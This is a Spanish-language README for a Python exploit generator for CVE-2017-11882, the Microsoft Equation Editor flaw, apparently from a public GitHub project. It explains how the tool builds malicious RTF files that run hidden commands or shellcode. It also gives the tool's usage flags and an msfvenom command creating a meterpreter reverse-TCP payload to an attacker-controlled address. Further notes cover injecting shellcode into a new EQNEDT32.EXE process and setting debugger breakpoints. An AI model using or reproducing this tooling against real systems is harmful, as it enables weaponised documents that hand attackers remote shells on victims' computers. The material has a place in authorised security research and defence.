
El exploit CVE-2017-11882 acepta comandos/códigos con una longitud máxima de más de 17k bytes.
El exploit CVE-2017-11882 acepta comandos/código de más de 17k bytes como máximo.
Para la ejecución remota de comandos, este exploit llamará a WinExec con SW_HIDE y llamará a ExitProcess después de que WinExec regrese.
Para la ejecución remota de código, este exploit simplemente hace jmp al código.
No puedo encontrar una referencia para la estructura del objeto... así que no puedo cambiar la longitud del archivo para la ejecución de código de longitud arbitraria..:(
Pero sí creo que 17k bytes es realmente suficiente. El script de Python detectará el tamaño de payload que necesitas y elegirá la plantilla de payload correcta.
Precaución: ¡RCE bloqueará el proceso de winword si no migras a otro proceso!
Actualmente este exploit inyectará tu shellcode en un nuevo proceso EQNEDT32.EXE si especificas la bandera -i. Esta operación es sospechosa para el AV pero no bloqueará el proceso de Word.
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optional arguments:
-h, --help show this help message and exit
-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)
-t {0,1}, --type {0,1}
Type (0:shellcode 1:command, default=1)
-i INJECT, --inject INJECT
Inject shellcode to new process
-o OUTPUT, --output OUTPUT
Output exploit rtf
Ejemplo:
Para ejecución remota de comandos
CVE-2017-11882.py -c cmd.exe -o test.rtf
Para ejecución remota de código
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
Establece el valor debugger en la ruta de tu depurador en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE
Construye un exploit y ejecútalo.
Establece un punto de interrupción en 0x41165f
Este punto de interrupción se alcanzará dos veces; en la segunda vez, el payload se ejecutará después de que esta función regrese.